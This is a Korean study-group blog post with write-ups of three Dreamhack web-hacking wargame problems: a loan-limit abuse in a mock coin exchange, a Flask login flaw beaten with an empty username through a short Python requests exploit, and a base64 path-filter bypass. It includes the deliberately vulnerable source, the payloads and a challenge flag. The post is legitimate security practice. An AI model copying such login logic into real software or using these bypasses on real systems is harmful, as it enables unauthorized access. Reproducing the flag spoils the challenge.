본문 바로가기

4-1. 2025-1 심화 스터디/워게임 도장 깨기

[1주차] 250318 워게임 도장 깨기

웹해킹 문제를 풀고 공유했다.

 

문제1. Out of money

 

서버 접속 시 화면 

 

이름 입력한 후 로그인

 

- 산타 사설 거래소

: 드핵 코인을 빌리거나 드핵 코인을 드냥 코인 또는 드멍 코인으로 바꿀 수 있음

 

- 드림 유동성 풀

: 담보를 내고 드멍 코인을 빌리거나 드냥 코인이나 드핵 코인을 예치할 수 있음

 

 

 

이 문제의 코드를 살펴보면 담보로 돈을 빌릴 때 한번에 빌릴 수 있는 값만을 설정하고 몇 번 빌리는 것에 대해서는 아무런 제약을 걸어놓지 않은 것을 확인할 수 있음

 

 

Flag 구매를 클릭하여 플래그를 알 수 있음

드핵 코인이 부족하거나 빌릴 돈이 남아 있을 때는

Flag 구매 클릭하면 '드핵 코인이 없어욧!', '빚을 먼저 갚으세욧!'과 같은 메시지 출력

 

 

먼저 3333 드핵 코인만큼 빌림

담보를 낼 때 드냥 코인으로 내야 하기 때문에 드핵 코인의 일부를 드냥 코인으로 전환

 

 

바꾼 드냥 코인을 3001만큼 담보로 내놓음

그 후 내놓은 담보보다 적은 금액으로 여러 번 빌려서 빌린 드핵 코인을 갚을 만큼 드멍 코인을 빌림

 

 

계속 빌리면 담보보다 가지고 있는 드멍 코인이 더 많은 것을 확인 가능

 

 

드핵 코인을 갚아야 하기 때문에 4333만큼의 드멍 코인을 드핵 코인으로 바꿔줌

-4333을 입력해서 드핵 코인 빌리기 버튼을 누르면 드핵 코인이 갚아짐

 

 

Flag 구매가 가능한 만큼 드핵 코인으로 바꿔준 후 Flag 구매 버튼 클릭

 

 

해결 완료 !!!!!

 

 

 

 

 

 

문제2. Logical

 

 

<코드 분석>

from flask import Flask, render_template, redirect, request, make_response
from random import randint
from hashlib import md5
from sqlite3 import connect

app = Flask(__name__)
## hidden_dir_XXXXXXX 랜덤 경로 
hidden_dir = '/dir_' + str(randint(1, 99999999999999999))

#getpost부분
@app.route('/', methods=['GET','POST'])
def login():  ##로그인함수
    # 요청하면  -> login.html 반환 
    if request.method == 'GET':
        return render_template('login.html')
    # 요청받으면 -> if문 
    elif request.method == 'POST':
        #login_check 함수에 안맞으면 try again ..
        if not login_check():
            return render_template('login.html', error='Something wrong with the login details. Try again.')
        #login_check 함수가 맞으면 리다이렉트 hidden_dir 
        else:
            return redirect(hidden_dir)  
    #아니면 오류 
    else:
        return make_response(405)

#hidden_dir은 flag.txt나오게 함!!
@app.route(hidden_dir)
def hidden_endpoint():
    return render_template('hidden.html', FLAG=open('flag.txt').read())


def login_check():
    uname = request.form.get('uname', '')      #username
    password = request.form.get('password', '')    #password 
    #username 없고, 동시에 password 없으면 false 
    if not uname and not password:
        return False
    
    connection = connect("logical.db")    #db에 연결 
    cursor = connection.cursor()
    #db에 uname, password 있고 password는 mb5로 인코딩
    query = ("SELECT uname, password FROM users WHERE password = '{}'").format(md5(password.encode()).hexdigest())
    # usrname이 리스트 형식으로..
    usrname = cursor.execute(query).fetchall()
    
    #usrname이 비어있지 않고 usrname[0]도 존재, usrname[0][0]도 존재하면 name = usrname[0][0]
    #그렇지 않다면 else (공백)
    name = usrname[0][0] if usrname and usrname[0] and usrname[0][0] else ''
    
    
    return name == uname


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80, debug=False)

 

문제풀이 핵심 코드

#username 없고, 동시에 password 없으면 false
    if not uname and not password:
        return False

둘 다 없으면 False인데
그렇다면 하나는 없어도 되지 않을까?,,,

 

query = ("SELECT uname, password FROM users WHERE password = '{}'").format(md5(password.encode()).hexdigest())

이 쿼리에서 uname, password를 셀렉할 때 오직 password만를 이용했다.
uname은 상관하지 않고,,,

=> 어떤 uname이어도 password만 같으면 가져올 수 있음..

 

 name = usrname[0][0] if usrname and usrname[0] and usrname[0][0] else ''

 

이 코드 앞 부분의 fetchall()함수는 리스트 함수
usrname은 리스트이고

if문의 ,,
usrname이 비어있지 않고
usrname[0]이 존재하고
usrname[0][0]이 존재하면
name은 usrname[0][0]이다 //name = [uname, password]

else문이면 name은 ' '(공백)!!! 오류가 아니라 그냥 공백으로 처리해버렸다.

return name == uname

 

<문제풀이>

이렇게 분석한 것을 통해
username에는 공백으로 두고
password만 입력해서 해당 문제를 풀 수 있다고 생각했다.

근데 db에 있는 password를 알아낼 수 있는 방법이 없다.

아무 password값을 입력하면 앞서 본 코드에 의해 usrname에 해당하는 pwd가 없다고 처리되어 else문으로 공백으로 만들어버린다. ==> name이 공백이 됨

username으로 입력받은 uname도 공백으로 입력하면

return name == uname이 return ' ' == ' '이 되므로 access된다.

이것을 기반으로 익스플로잇

import requests

data = {
    "uname": "",
    "password": "password"   #아무 문자나 입력해도 상관X
}
response = requests.post("http://host3.dreamhack.games:10665/", data=data)
print(response.text)

 

 

 

 

 

문제3. Base64 based

 

사이트에 들어가면 이 화면만 뜬다. 다른 방법이 없으니 코드를 확인한다. 

 

코드를 보면 Li4v, ZnxhZ, aHA가 막혀있는 것을 확인할 수 있다.

확인해보면 hp, fla, ../가 막혀있는 것을 알 수 있다. ../과 flag, php를 막기 위해 설정된 것 같다. 그렇지만

 

이렇게 ./flag.php를 앞에 입력해주면? 이 값을 인코딩 해주면 위에 false에 막힌 값과 전혀 다른 값이 나오게 된다. 값: Li9mbGFnLnBocA==

 

base64 인코딩 값을 뒤에 넣어주면

flag 값을 찾을 수 있다.

DH{We1c0me_t0_Ba5e64:86cneX/wpG/aUprzn+ak7w==}